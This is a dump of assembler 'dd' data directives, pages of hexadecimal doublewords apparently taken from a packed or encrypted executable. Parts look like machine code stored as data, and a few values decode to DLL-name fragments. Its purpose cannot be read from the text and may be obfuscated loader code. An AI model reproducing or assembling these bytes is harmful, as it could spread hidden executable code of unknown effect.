		dd 56334B4Ch, 58E496CCh, 63CE7BD3h, 261304D4h, 172F28EDh
		dd 925507F0h, 0C9B6D7C0h, 0E3F82E74h, 0F7FED358h, 0B0EB8DFh
		dd 897600CBh, 0A415AF37h, 3E74208Bh, 3A60DC4h, 21Ch, 7081BA01h
		dd 2648D359h, 175D0AC8h, 0D35899E1h, 0E126E0E7h, 862A4293h
		dd 12584591h, 0DB013205h, 6EF040Bh, 0FD7A4552h,	0C5D2885Fh
		dd 325C92D8h, 5B62DB01h, 22F26F3Ah, 2B2C6A35h, 63A9FEEBh
		dd 0DB01322Dh, 15142C33h, 0EF256BC0h, 0F5DB0131h, 61E6D6EEh
		dd 67E2A94Bh, 65496860h, 0AD42FC06h, 0D66D5h, 395EFF00h
		dd 7E993B24h, 0BFD88069h, 215C1AAh, 465104EDh, 0FFA62331h
		dd 3D263B5Ch, 7F687D9Ah, 0BFA8BDDAh, 3E3F81Fh, 0EE81E64h
		dd 54EECBABh, 5017C7A6h, 18BC8D8Ah, 0D513DEFFh,	61A79440h
		dd 0DB07C4C6h, 9FD8C5CCh, 0B8F1DEF9h, 5E2BF6E1h, 62361F46h
		dd 8D4F8875h, 1895728Ah, 48865146h, 0D41A07CFh,	0E2AFE5FBh
		dd 0D502FA01h, 12FC1FCBh, 0CF1A57Dh, 0C98A0000h, 0CD0B9CEh
		dd 4B0DF60Bh, 884E374Ch, 0C2917A8Fh, 17B2C0D5h,	0B3C8CF8Eh
		dd 0F3080FCAh, 354A4D0Ah, 788D8A4Ch, 7DB3F998h,	83CBAB0Dh
		dd 17C73BE9h, 7CF11300h, 95CB1103h, 9BD35892h, 0E82FDA94h
		dd 9671D690h, 4676E539h, 213512Eh, 369FE5D2h, 3CDB012Eh
		dd 0ADF34835h, 0DB012E77h, 375E767Dh, 8A5DF932h, 3401CCCBh
		dd 0DCB4813h, 51723F0Ah, 93845639h, 9343D47Eh, 82D060A6h
		dd 1FD6E2AFh, 0C28F5A7Dh, 0DD7BB4A1h, 67A0A5BAh, 0DDAA5B2h
		dd 0CDB4453h, 1C34ECD3h, 0AD789F39h, 0BE3F214h,	3E90DDABh
		dd 84934326h, 3A9A7BB9h, 412E074Dh, 2D34EA58h, 0B76E9235h
		dd 0D6AE43E5h, 0C2Fh, 0EB0017C8h, 30455202h, 71869147h
		dd 0B0C5D288h, 0EE0314C7h, 19BCE9E0h, 5900E9FEh, 9B40293Eh
		dd 0DC7E677Ch, 27C6A6BBh, 0AB0DABE1h, 6917B1CBh, 0DA1056ABh
		dd 0E0D35970h, 70A6ECD9h, 76D35970h, 0A274576Fh, 2D73C8B5h
		dd 0D3596FF7h, 1DEF6FDh, 4D252C3h, 72E24813h, 9EC93A84h
		dd 6538092Ah, 0B9DAA772h, 983E77CCh, 0CFE7B47Fh, 14936DFh
		dd 0D1853CDBh, 0A790A5C6h, 0E4CDE2F5h, 220E2334h, 0D8C51106h
		dd 1941992h, 4D181FDBh,	19489C3h, 0AAAD6CDBh, 0CB262DFh
		dd 87D27E0Ah, 0FCC7E82Ch, 8A69D481h, 0C16DD8F1h, 0E3FFB489h
		dd 7661346Dh, 6C6B2EABh, 8C17334Bh, 15000000h, 73FD89ABh
		dd 2164C92h
		dd 151CD359h, 4A00E95Bh, 8A8D4F32h, 859242BFh, 7E993DBAh
		dd 716636B3h, 71A5B25Ch, 0C4213E84h, 2027DB00h,	0EEEDEB28h
		dd 7B53E8F4h, 0B3Bh, 0FF1403D4h, 3C514616h, 7D928553h
		dd 0BCD1C694h, 21700D3h, 0DD0D5F4h, 4D0CF50Ah, 8F4C354Ah
		dd 0C88A7388h, 3BDABACFh, 0AB0CBFF5h, 7D2BC5CBh, 0B2A572ABh
		dd 59E5B79Ah, 85DD5415h, 0D8C5E615h, 0F1DEF99Fh, 58A475ABh
		dd 5C747BD3h, 5DF135h, 0C7330000h, 9E370215h, 0DAA5B265h
		dd 0C451F50Dh, 79CE2310h, 596FFD33h, 0E4FC03D3h, 1896FF4h
		dd 766E75DBh, 0F4E1A667h, 0BC3B13A8h, 5500000Ah, 957E9384h
		dd 0D2BBD0C7h, 13FC1106h, 523B5047h, 717F9483h,	898E4D58h
		dd 0CBCC8B74h, 0F08CDB6h, 564111FAh, 7CC26141h,	0CBAB0B46h
		dd 0C704B24Ch, 0B8350017h, 0A926F1E6h, 0A11EE9EEh, 726534F3h
		dd 0EEB9DAA7h, 55349F9Ah, 0CD79E47Bh, 1BA7FD85h, 7F984079h
		dd 25A4B67h, 0C3490000h, 0CF07105Dh, 767B9CE2h,	7A81DB01h
		dd 1EEC8351h, 5EB3CE99h, 991FE218h, 710C5CEh, 0BAC16F3Ch
		dd 0BD19FEA2h, 95427BD0h, 0D2EAB782h, 41270DE2h, 1F0C13D6h
		dd 62309AFDh, 344C54EBh, 0D83C1957h, 5B85A5EBh,	848BDDECh
		dd 0EBBC5E97h, 925F2A2Dh, 1E575C71h, 0C3905B7Ch, 116C8ABh
		dd 0DB54E409h, 0C49C31F9h, 9F7h, 0B3C8CF90h, 0F80D0ACAh
		dd 394E490Fh, 788D8A50h, 0B6CBCC8Fh, 0D18421A8h, 11C8B1C6h
		dd 5308F106h, 94462F44h, 0EF8E6E83h, 0AB0A73A9h, 31DF79CBh
		dd 370215C7h, 0B3EC1CF9h, 5F2CF7E0h, 59704B81h,	0FC9A51D3h
		dd 0AC99BADBh, 5C7B1E57h, 0C4825444h, 8188DB07h, 0C3F93F94h
		dd 0C9DB07C4h, 72ABAAC2h, 0B29BB0A7h, 7E9940E7h, 4315E6B3h
		dd 2A683354h, 0B6FCE92Dh, 0E2AFD599h, 0B3DEFF9Fh, 4F30EEA6h
		dd 0EDB8DF7Eh, 0BD12FF20h, 75F0AD9Bh, 0DDBB905Ah, 0E2B01FA7h
		dd 8F8EA6ADh, 7F948356h, 0C208C396h, 0E2B01F8Ch, 80D18B92h
		dd 2B73488Eh, 4FE8B3D4h, 0B83762Dh, 0B0128FC5h,	0D48E95E2h
		dd 0D9F15390h, 3B3324F6h, 0FC1FCFA0h, 28744CE1h, 0C1000009h
		dd 9F20710h, 4E374C4Bh,	8F788D8Ah, 0CEB7CCCBh, 0E5F3080Fh
		dd 512C1E4h, 475007F0h,	8B8C4932h, 0CACD8D76h, 0F036D5B5h
		dd 0CBAB09BAh, 907826C0h, 59705280h, 1F8A37D3h,	84CA1F74h
		dd 0D359704Eh, 396F4D54h, 3FD35970h, 0F6C1D688h, 0DEF00829h
		dd 0DCC90D0Ah, 0BCA96587h, 6A100971h, 0AF456252h, 444BDB00h
		dd 5D7A1E57h, 73643770h, 8D8A345Bh, 75235C49h, 0D4F5E2B2h
		dd 2A425503h, 599FE52Bh, 1166E2ABh, 0AB5995CBh,	7C949BE2h
		dd 8FC8B5BCh, 0CAB3C8CFh, 0A2170F08h, 4FFC1856h, 885E2BAh
		dd 7D1E0000h, 0B85C455Ah, 0F7A18A9Fh, 34E2CBE0h, 76250E23h
		dd 8B3E4C61h, 475C7B1Ah, 879CBB5Eh, 0C9DEF99Eh,	4193EE0h
		dd 93F8524h, 0FCBAB09h,	80BAC775h, 63D35970h, 5C92D8B3h
		dd 62D35970h, 20253A5Bh, 6D8D31E7h, 8A8935C7h, 20F8C9EAh
		dd 879F6C37h, 0B5A272E3h, 19E41A60h, 12C7D359h,	38505705h
		dd 6806F339h, 50CDB01h,	1D3ADF18h, 5D7A1F08h, 74633770h
		dd 8A77F5Ch, 0E9000008h, 0D8C51106h, 17F8592h, 0B9848BDBh
		dd 17EF52Fh, 0DA1310DBh, 804D183Fh, 36E24D68h, 0E3FFF07Ch
		dd 138C5h, 12C7C300h, 1ABD3A05h, 0E5B532FDh, 4D29542h
		dd 5A7B4813h, 9CD56E39h, 0AC12DDFAh, 0AE190D51h, 0D6EE0FDDh
		dd 1C3126F3h, 0A6716633h, 3926EC68h, 596CF5F3h,	9044FBD3h
		dd 209B6687h, 0DC790873h, 6D73A9EFh, 7279D359h,	6D093F85h
		dd 80FD359h, 2CE9D2E7h,	94D6602Bh, 79D3596Eh, 5D261CCh
		dd 1B4B5379h, 4E6F250Eh, 4D858F39h, 0B3EC1A60h,	0EBF2D358h
		dd 5413C5FEh, 0FECB9681h, 6BE8C5DDh, 0AD96ABACh, 0A522EDEAh
		dd 9A17E2F5h, 920FDAFDh, 0A309D4C3h, 7AA400DCh,	0A9C2DB0Eh
		dd 0E3905F3Eh, 292EE978h, 2AED0F14h, 4379BF3Ah,	49D358C9h
		dd 3BC88842h, 6B2E1129h, 0F263A16Ch, 36EF3522h,	3CDB00F5h
		dd 0BCE0F49Ch, 0BF4F32Ch, 0CDB26CA1h, 0BCDB7E5Eh, 7C657A9Bh
		dd 0D3C721DDh, 3E3CDD8Fh, 14521Dh, 6D9FE5D2h, 73DB00CBh
		dd 7926A16Ch, 0BFD87F0Eh, 116C1AAh, 2489D36h, 0DB00CBCCh
		dd 83B9FFD2h, 89DB00CBh, 0A5496182h, 1C5298B0h,	0FFDB00CBh
		dd 0A7743F58h, 0E4D1F2F9h, 0A8EFB99Eh, 0A3B8BFE2h, 0F5B2659Eh
		dd 9D6A3522h, 0CCE4B17Ch, 14292EE9h, 54696E2Bh,	0A072AB68h
		dd 22435407h, 25F1660Ah, 0E8AAE338h, 0DE4F35EFh, 5980F817h
		dd 1DC85141h, 0C7CEDB01h, 0EEDD7FFCh, 11D72A8h,	507178DBh
		dd 13064F3Bh, 346EF8C3h, 4FD35970h, 5D7A1952h, 92ADC592h
		dd 1377B27h, 530A1BA8h,	8000000h, 2D489ABh, 1EE8BD9Ch
		dd 0B6712306h, 0C40AF7E0h, 0D358778Eh, 0A16C8D94h, 5877E117h
		dd 0AE19C6D3h, 90ECA03h, 494E0EF1h, 6077235Ch, 352B2148h
		dd 0FCD3589Ch, 589C80B6h, 0CB0147D3h, 0D1D3589Ch, 0B5651CCAh
		dd 346081A2h, 0FFFFFF96h, 6671245Dh, 17C7684Eh,	3ADA1300h
		dd 0CD1F051Dh, 0F713064Dh, 59707BB1h, 597A81D3h, 0AA978385h
		dd 1EA7F590h, 75ABF146h, 7BD05970h, 38405C74h, 25000000h
		dd 1EEF5603h, 172F10CEh, 0C3130631h, 2F65ABEFh,	35D35970h
		dd 70E61C62h, 0E5ECD359h, 36574014h, 1D56AB62h,	0CC895A7Dh
		dd 0C7CDB3CBh, 722E0215h, 2A6CA8h, 0ABAE0000h, 70DA1056h
		dd 0D9E0D359h, 0DA3A1DC1h, 2F65AB06h, 0F6D35970h, 70255BA1h
		dd 242BD359h, 0B2860B0Ch, 15C76FABh, 0A8722E02h, 3B0611C7h
		dd 0DDAE69A2h, 59706197h, 3F6067D3h, 9F8FA774h,	0D3597069h
		dd 0A736A14Eh, 706736F1h, 0CAB7D8A5h, 53CC291h,	47DCDFDh
		dd 7EA5BDDEh, 58A3C588h, 0B02C58D3h, 6EFFFFF3h,	150215C7h
		dd 31B3CDCh, 0F12532DCh, 7729BE04h, 282FDB01h, 7799D35Dh
		dd 0B7B4DB01h, 0F1BCDB7Eh, 93845324h, 0C8E3FBC8h, 4F9B15Dh
		dd 740E3F0h, 3E000000h,	16Ch, 56ABAE00h, 5970DA10h, 8D9E0D3h
		dd 85294156h, 2574490h,	420D0AC9h, 0E30413C5h, 88534412h
		dd 0F6B3A3BBh, 0FCDB017Eh, 0EFAD2AF5h, 71DDD3E8h, 54DB0180h
		dd 927B9087h, 8607D2C5h, 41ACE911h, 0DDF2E5B2h,	343522F4h
		dd 63647323h, 0AC57C239h, 80DB1157h, 0DAE1DB01h, 183FDFC2h
		dd 8225F22Bh, 88A0C1D6h, 0F04E704Dh, 0D3CBB8A6h, 0AA2E142Ch
		dd 1C27F5E0h, 0BD39h, 31E51E00h, 768E5B26h, 0C4120690h
		dd 2C65ABF0h, 0F1D35970h, 0B6DEEED3h, 67884827h, 8F6FAB93h
		dd 17C78E20h, 70B8EE34h, 0B7BED359h, 56ABC296h,	5970DA10h
		dd 0C1D9E0D3h, 130664E4h, 9783EFC3h, 0A7F590AAh, 3B291Eh
		dd 6270000h, 0ABEFC313h, 59702F65h, 5A2E35D3h, 15C76FABh
		dd 89AB2E02h, 15C79116h, 0B06A3702h, 0A7BF835Eh, 0F1378C6Fh
		dd 0D35912BBh, 0BCA2BAC1h, 0B2A572ABh, 0C4021AE7h, 2Fh
		dd 0C3130606h, 1D56ABEFh, 0C7945F78h, 7089BFAFh, 1750D359h
		dd 0BF8C5740h, 0F55A6A7h, 0D35970D9h, 5207D8DFh, 0AB502445h
		dd 215C76Fh, 0ABA8722Eh, 9CB4A372h, 0FFFF3A5Eh,	17C7A0FFh
		dd 639C3500h, 0A78AA2B5h, 696E30F7h, 77225B48h,	43189560h
		dd 0F41B3354h, 1C09CD4Ah, 6E8D31E3h, 0FAD23668h, 7A471233h
		dd 0DC1D6362h, 0A3DB00B1h, 90A8AF6Ah, 87DCC9D0h, 0B10B41h
		dd 0F20A11DBh, 0B1518B15h, 6134DB00h, 6E2EAB76h, 4F4A9E69h
		dd 918655E4h, 3FD8F9C6h, 9C4B0942h, 0ECB7D8FFh,	0B6EC321Fh
		dd 0BCDB00B1h
		dd 17829DB5h, 0FF42276Bh, 7CC217E3h, 0DB00A946h, 0A174454Ch
		dd 59829EB6h, 80000000h, 0B1A672ABh, 70487EC4h,	474ED359h
		dd 4A8A8B2Fh, 44E6085Dh, 2A330CDAh, 578C7C94h, 1EDB00BFh
		dd 0BF4D83C9h, 4C53DB00h, 806D7434h, 0BFAFE52Bh, 0E2B5DB00h
		dd 0BF669Ch, 44656CDBh,	0ED1E258Ah, 284036DFh, 0C587C14Bh
		dd 89A2DB00h, 0AA38721Eh, 0B801E3F0h, 0FF000000h, 350017C7h
		dd 27F2E5B8h, 24EFE8AAh, 0CBE0F7A7h, 5974E7D5h,	0A68CAED3h
		dd 0FAEC6E5Eh, 8052354Dh, 0F9998297h, 10604845h, 0B4A1F940h
		dd 5988386Eh, 16373ED3h, 0CC080D4Bh, 0E7F0A6DFh, 1D8AD0CFh
		dd 23DB0197h, 0F85D071Ch, 39E92F1Ch, 3FE2AC48h,	43124B38h
		dd 0CC126754h, 0E2AC4896h, 3DCFC9Ch, 0F0888FA4h, 669CE2CFh
		dd 6CE2AC17h, 3D264D65h, 1281799Eh, 0DBFC1B18h,	2796E46h
		dd 41120000h, 84584156h, 0C3957E93h, 0D6BFD4h, 7A190217h
		dd 8F3A485Dh, 3B504716h, 7B908752h, 0BDD2C592h,	1502D4h
		dd 53B8120h, 0BCBAB03h,	14C7C371h, 5505EE03h, 6412D42h
		dd 9FD8C511h, 0C6C5DDFAh, 1764B80h, 7F4A51DBh, 176BBF5h
		dd 0B7D9D6DBh, 0F0744AACh, 1E395132h, 0AE4307B3h, 5EB3E3FFh
		dd 1B5E218h, 0C9E1E8DBh, 0F5ADh, 72ABAB00h, 0B89BB3A4h
		dd 0CB04F1E6h, 0C13E090Eh, 6C390413h, 0BD56334Bh, 4417D084h
		dd 1673253h, 28DDB815h,	0AE68890Bh, 0BE178F4Fh,	24071FE3h
		dd 29B6671h, 400B0CC9h,	7D6B5B73h, 44D35876h, 65899D22h
		dd 5E00F94Fh, 80A16E39h, 0C2D58568h, 512C4ADh, 0B1BFC3Ah
		dd 3A27484Fh, 9787F4h, 71868DDBh, 74BA4EC7h, 0DB00973Eh
		dd 2F1C3D44h, 0E0F7A1DAh, 35AAAF15h, 0F1759072h, 0B9C8B8D0h
		dd 0BFE2ABB1h, 3D76CBB8h, 4BB17C9Bh, 0B3B80AF0h, 0DBF3144Ch
		dd 1D3225F8h, 10C66134h, 0CB968157h, 4512DDFEh,	0D4D32C24h
		dd 7B10FC1Bh, 15AA3h, 3522F300h, 72653720h, 0B3A4745Dh
		dd 0F6E1B59Eh, 3225F8E1h, 0EBBA0F1Dh, 311A2F28h, 735C7166h
		dd 0B39CB1A6h, 0FFDFF4E3h, 2E41A60h, 50EACBABh,	6A14C7A2h
		dd 0BD7942B1h, 0E8FD1E1Dh, 0EBECAAE3h, 292EF0D3h, 17C72814h
		dd 0E6B83500h, 0BCB04F1h, 23CDF40Ch, 0A0F5E232h, 5970245Ah
		dd 0B232AD3h, 81A9C60Ch, 0F8AFDB01h, 25123324h,	81548AD0h
		dd 535ADB01h, 0FAC5D282h, 0DD16152Dh, 1C051A3Dh, 54925D7Ah
		dd 0E02613C3h, 0E2AFD506h, 9582550Ch, 0E4DCFDCAh, 0FC1FDA51h
		dd 0BCF5CD62h, 55000000h, 957E9384h, 0D2BBD0C7h, 13FC1106h
		dd 523B5047h, 717F9483h, 898E4D58h, 0CBCC8B74h,	0F08CDB6h
		dd 564111FAh, 7CC26141h, 0CBAB0146h, 604B24Ch, 83D8C511h
		dd 0C48F884Ah, 11EFDFF7h, 17DB07C4h, 16C84510h,	5303EC01h
		dd 749BDFABh, 829F82Eh,	3DF7FEDBh, 2647EAE6h, 3B5C0039h
		dd 58AD4623h, 779DC12h,	0EEDBE2DBh, 77972A8h, 597178DBh
		dd 57996869h, 0E79744Fh, 5408DF7Fh, 0B6D7C093h,	0C7978095h
		dd 0D28805D0h, 0D27FFAC5h, 1106D867h, 70D5F7FCh, 0EDC138F4h
		dd 94B5A272h, 0DEF9997Ch, 153B13h, 0AB7D0000h, 85BB0156h
		dd 8BD35970h, 7070A684h, 6F76D359h, 0C7EB8957h,	0B9360116h
		dd 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh
		dd 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 815F5457h, 4C7h, 4EF8300h
		dd 5C243C87h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 51241489h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	0BB532404h, 3B1A508Bh
		dd 1BBFBE56h, 0F30116B3h, 0CCF3815Eh, 89566339h, 9A685BDAh
		dd 8900001Eh, 4812424h,	424h, 51525800h, 44B4AB9h, 244C3105h
		dd 408F5904h, 8708108h,	5044B4Ah, 582434FFh, 8B04C483h
		dd 89532414h, 4C381E3h,	83000000h, 1C8704C3h, 0CCE95C24h
		dd 72FFFA0Eh, 71C5F57Fh, 51B89698h, 519C9901h, 53B8259Dh
		dd 307AE70h, 85C650C5h,	7A80619h, 17256847h, 0B5FFCF38h
		dd 7A81895h, 3BDF858Dh,	0D0FF07A8h, 858DD88Bh, 7A8111Dh
		dd 1046850h, 0D3FF0000h, 61985C6h, 685307A8h, 8307F8BFh
		dd 1895B5FFh, 858D07A8h, 7A83BDFh, 8589D0FFh, 7AE5360h
		dd 7CDBD83h, 0F0007A8h,	0B84h, 4D9D8B00h, 0E907A814h, 5
		dd 0BBh, 1006800h, 0B58D0000h, 7AE5364h, 95FF5356h, 7A8075Dh
		dd 5364B58Dh, 0F00307AEh, 1E9h,	3E804E00h, 9840F5Ch, 80000000h
		dd 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h, 0AE536485h, 95FF5007h
		dd 7AE5360h, 76E0FF58h,	614E81C3h, 6D0900BAh, 37C17D1h
		dd 6665363h, 3951BC64h,	3E64F8B2h, 6923907Ah, 0F010125Ah
		dd 9064DB24h, 9B47A099h, 96774572h, 0E947A8BCh,	0EA11BAD2h
		dd 0E710B8BEh, 8D549950h, 0AE72948Dh, 0B8E0F07h, 0F000000h
		dd 584h, 0E0816600h, 8D89A305h,	7A81731h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 21C35747h, 8B831B81h
		dd 0A8249195h, 5985C707h, 9407A80Ah, 0F000059h,	870FC2BFh
		dd 0Fh,	0AE9h, 1411BC00h, 3EB3E122h, 0C7808BA3h, 0A8093985h
		dd 7, 0FFE8A00h, 48Ch, 2FB86600h, 0DDB5FFD4h, 107A805h
		dd 0A80B0185h, 11E907h,	13F10000h, 2BD4F58Ch, 8D5EA12Eh
		dd 0F1D2C036h, 0FFF75879h, 0A81A9995h, 0E0816607h, 6A05E9h
		dd 0D2195FFh, 0C08B07A8h, 0DE669EBh, 0BE61499Dh, 42503990h
		dd 0F1DFCB79h, 1A58265Ch, 5AA1D210h, 0EB72DF76h, 0EB14288Bh
		dd 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 241F9ECAh,	0A48A4109h
		dd 0CC6CE185h, 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h
		dd 0B438B540h, 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h, 0A1C1CFA5h
		dd 0DD80B8AFh, 16264237h, 6C73F678h, 0E86625E6h, 11h, 67713A5Fh
		dd 45D2EC75h, 8A6FE66h,	0DA5603BDh, 895AF5B4h, 0A82291BDh
		dd 72C28107h, 89000066h, 0A819E59Dh, 6807h, 8B660000h
		dd 81665FDEh, 0FFE043DEh, 0BF0F1734h, 0B70F59C3h, 96C181C1h
		dd 3140E22Ch, 0A8093D9Dh, 19F18107h, 89131122h,	0A803D195h
		dd 19E98107h, 0E95059FDh, 0Bh, 1B4108FAh, 0F32EED43h, 893BF05Ah
		dd 858B3A0Ch, 7A8357Dh,	65DBD09h, 0EF8107A8h, 6049A412h
		dd 32D58589h, 0C78107A8h, 6049A40Eh, 70FF81F8h,	0FFFFF9Ah
		dd 2D85h, 12E900h, 37C10000h, 0AB63ED96h, 4D17623Dh, 0E886E2DDh
		dd 0F7666CF3h, 31E9h, 4D796C00h, 867437FFh, 0E3F2FE1Ah
		dd 185F7AB4h, 8B60A312h, 0A81BC99Dh, 0D88B6607h, 0FF5DE961h
		dd 11C0FFFFh, 5B422A50h, 0EC1EF753h, 31C4B9ADh,	0CE81661h
		dd 6C000000h, 2A5C15AAh, 0BB32D416h, 8B0C9604h,	0A8064DBDh
		dd 0C0815807h, 5BDAh, 7E9h, 0A97D4100h,	0CE424F6Eh, 0BFCD85BAh
		dd 0B2EA8128h, 8B28BFB6h, 0E930FFDEh, 5, 534381B9h, 9D035E1Fh
		dd 7A80C89h, 0E38DF681h, 30B1227Fh, 25E5F681h, 0E5801AD8h
		dd 55EE8117h, 5631409Dh, 8FCE8B66h, 118D8B00h, 8307A806h
		dd 8D0F03E8h, 6, 24C58D8Bh, 0F4807A8h, 589h, 0BACBB900h
		dd 0F4A78FEh, 0FFFFA885h, 852960FFh, 7A80EADh, 658D8D61h
		dd 6A07AE75h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0A604C350h, 180C7226h,	2065CE81h
		dd 8D897CEAh, 7A81731h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0C9C35040h,	8B665499h, 5985C7F1h
		dd 5007A80Ah, 6A00006Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C2DCC357h,	85C780DBh
		dd 7A80939h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A1C35141h
		dd 0FF85CB2Fh, 0A810A9B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 95893685h
		dd 7A817D1h, 1A9995FFh,	816607A8h, 6AC17CEEh, 2195FF00h
		dd 8B07A80Dh, 449EBC0h,	5EFFDEA5h, 35E4A903h, 0D2E9AEE2h
		dd 20781020h, 0C1E9746h, 53AADAC4h, 0D6E18F54h,	8E72E8CFh
		dd 0EE59DA6Dh, 0B77CEBEDh, 0B8D00638h, 0AAEC2D7Bh, 0DEF6D95h
		dd 0C0F29D0Ch, 0ECF7E1BEh, 6D617654h, 3E390603h, 9B90F069h
		dd 6E8h, 492BD500h, 0E9A49A17h,	0Ch, 64FC3159h,	3BA0C16Ch
		dd 0F5EF056Dh, 58F0F5Fh, 66000000h, 84A9CE81h, 7519C781h
		dd 0CE90000h, 76000000h, 486C7DC2h, 7243AA2Ah, 0B821AB47h
		dd 1D1Ah, 1B5DBD89h, 37FF07A8h,	6840F60h, 89000000h, 0A8033185h
		dd 5AE0BB07h, 596102BFh, 811BEB80h, 3656E9E9h, 7EBB662Ch
		dd 9EF181F4h, 0F08B4CAh, 0F181DAB7h, 47DAAFFCh,	72CC95BEh
		dd 290F896Ah, 0A825898Dh, 0EEEF8107h, 0E96176A4h, 12h
		dd 6ED2376Dh, 71285E82h, 0C9A501E5h, 85A360AAh,	0C781F076h
		dd 6176A4EAh, 0F01E883h, 0FFFF9585h, 0EA8166FFh, 2BE9D23Ch
		dd 0DE000000h, 930275B8h, 9DE61D8Ch, 6E2E81E8h,	6C6C6474h
		dd 6C6C642Eh, 0BD146700h, 0B98003B2h, 0FEh, 2 dup(0)
		dd 0B3E90000h, 68000006h, 7AE7819h, 0FA0906E9h,	78C768FFh
		dd 0FCE907AEh, 68FFFA08h, 7AE7971h, 0FA08F2E9h,	7A5668FFh
		dd 0E8E907AEh, 68FFFA08h, 7AE7B18h, 0FA08DEE9h,	7BDA68FFh
		dd 0D4E907AEh, 0E9FFFA08h, 311A2F28h, 765F7463h, 0B7A0B5A2h
		dd 0F6DFF4E3h, 0D1B3027h, 2D2AE9BCh, 6F682F18h,	0B3A4715Ah
		dd 0F2E5B59Eh, 185EFDDDh, 0CBAAFAE2h, 0ABA04EE8h, 62AC9A89h
		dd 0ACC40163h, 236Eh, 17C7B000h, 0EEF11300h, 97F7B6D8h
		dd 0E6634058h, 180E2334h, 0D35926DEh, 160314C1h, 531E39DDh
		dd 5B476E86h, 0D8C51106h, 18E5592h, 42885BDBh, 0DB018E0Ch
		dd 98BF5B12h, 25DF00CDh, 31AD95E5h, 8471925Dh, 0BD888F4Bh
		dd 0FE3836F0h, 0D5F57400h, 1C56E0BDh, 37DB0184h, 4307B31Eh
		dd 0B3E3FFEDh, 0A5BDDA7Ah, 24B89h, 6AC38700h, 0B9A66EE7h
		dd 1765273h, 39E019DBh,	0CC86531Eh, 0F003E13Bh,	79395197h
		dd 336C4972h, 0DFAC7760h, 0BF03F725h, 21A79B9h,	30B0C912h
		dd 8E6E909Fh, 0A0BA56CFh, 0F65F031Bh, 910F311Eh, 954B59F9h
		dd 409594ACh, 1A5096EBh, 209F3124h, 24053B19h, 32E89F31h
		dd 9F707725h, 4714DFF8h, 42023F2Fh, 108A6D9h, 0B71FF836h
		dd 9A3C75CAh, 5575657Dh, 1CAE84BAh, 38CC70FAh, 627AA419h
		dd 75AE9BA2h, 0B49DB2A5h, 50FDF5E2h, 8D281D9Bh,	48920F8h
		dd 0EDAE0000h, 28ECD5EAh, 67311A2Fh, 0A4725B70h, 0E6B59EB3h
		dd 0FBCEDCF1h, 0D7ECEBAAh, 172C2BEEh, 596E692Eh, 94A9AE70h
		dd 99CF15B4h, 9FCBAAF8h, 17C75705h, 1EF73500h, 5274C9B6h
		dd 0A9D11B09h, 2F20AD7h, 0DB0183D1h, 0C1E3D0D7h, 0FB0D6B45h
		dd 1D445C96h, 0C3540730h, 98D12613h, 0CEBED6C1h, 0E2AA2BADh
		dd 0B583ACB3h, 7B47E516h, 0AF7DF38h, 0F00387C4h, 0BB868D82h
		dd 5187CD22h, 3482F003h, 0D8A57067h, 0B0A7732Ah, 26F718E5h
		dd 0CD9A6572h, 0D00411B5h, 7B7D9DE3h, 7C838A9Bh, 9384568Fh
		dd 0D2C5957Eh, 7453B7DAh, 0B38B2044h, 3DBh, 23385F00h
		dd 687D9A3Ah, 0A9BED97Fh, 0E8FD1AC0h, 263B5CFFh, 21F4B118h
		dd 61382136h, 0A3786176h, 0E4B69FB4h, 5FFEDEF3h, 0AAF8E319h
		dd 0A14FE9CBh, 0B0A772ABh, 1D0018E5h, 0EBECAA7Dh, 54C1FFCAh
		dd 0BB5A9380h, 3F85849Ch, 0DB0180DAh, 1AC4D9E0h, 6D6A293Dh
		dd 10583CA2h, 0D1087020h, 5CA28FB0h, 0E2B00DA0h, 79B29FA6h
		dd 0AFD1BED9h, 0D946F77Eh, 0FB223A4Ch, 0B9BE4012h, 0C3328195h
		dd 0EA77293h, 0FD1502D5h, 0B268FC59h, 693423F5h, 6D5A7B9Ch
		dd 0A6716634h, 7CC2C1D9h, 0EA587943h, 94A4249h,	0C6E5C951h
		dd 3315931h, 85560000h,	0C0947D92h, 3FD9C2D7h, 7C1A0318h
		dd 0BE5D465Bh, 53768499h, 7F948352h, 0BFD4C396h, 11601D6h
		dd 3C514618h, 4177BD5Ch, 47CBAAF7h, 17C7FFADh, 1EF73500h
		dd 4283C9B6h, 9DB018Dh,	8D4EC5E7h, 0A2E85653h, 0DB01E56Ch
		dd 904A6B72h, 0EA196951h, 73334B3Fh, 9213576Ch,	55000001h
		dd 6BEC61C3h, 0D285BEABh, 2D35652Ch, 0F2139DB2h, 43425A27h
		dd 1D5399EEh, 0D3592Ch,	848B395Eh, 325B7C6Ch, 5A61DB01h
		dd 29696331h, 8A8BD03Eh, 10DBFC9Ah, 0E0352243h,	6436F1A7h
		dd 0BADBA873h, 1A0A22EFh, 0D7E636C1h, 5CF5C0C7h, 5100A03Ah
		dd 9CD69087h, 41E5FD53h, 0CD1300D4h, 0DF915AADh, 9DBFACB3h
		dd 0C39170E0h, 0F88B1AD4h, 0AD789F3Ch, 0A8A7BFE0h, 93A8AF6Fh
		dd 0F7EFE8AAh, 0FF014F60h, 4C3C14A9h, 71000002h, 0B9A2B7A0h
		dd 0FEE7FC1Bh, 3F283D5Ah, 7E677C9Bh, 95A3B8DFh,	0B5A27134h
		dd 0F7E0B7A0h, 3B5CF9E2h, 7A9D3D26h, 0A0E68565h, 0CBAAF66Ah
		dd 0AB28D670h, 70DA1056h, 0D9E0D359h, 6B3CDEC1h, 78BEABACh
		dd 0D3597042h, 33204148h, 4EA05EFAh, 6AB1622h, 0F6D3EB0Ch
		dd 8A775FB8h, 0B21344h,	0B56219DBh, 0E90AD7A2h,	0F42E7D4h
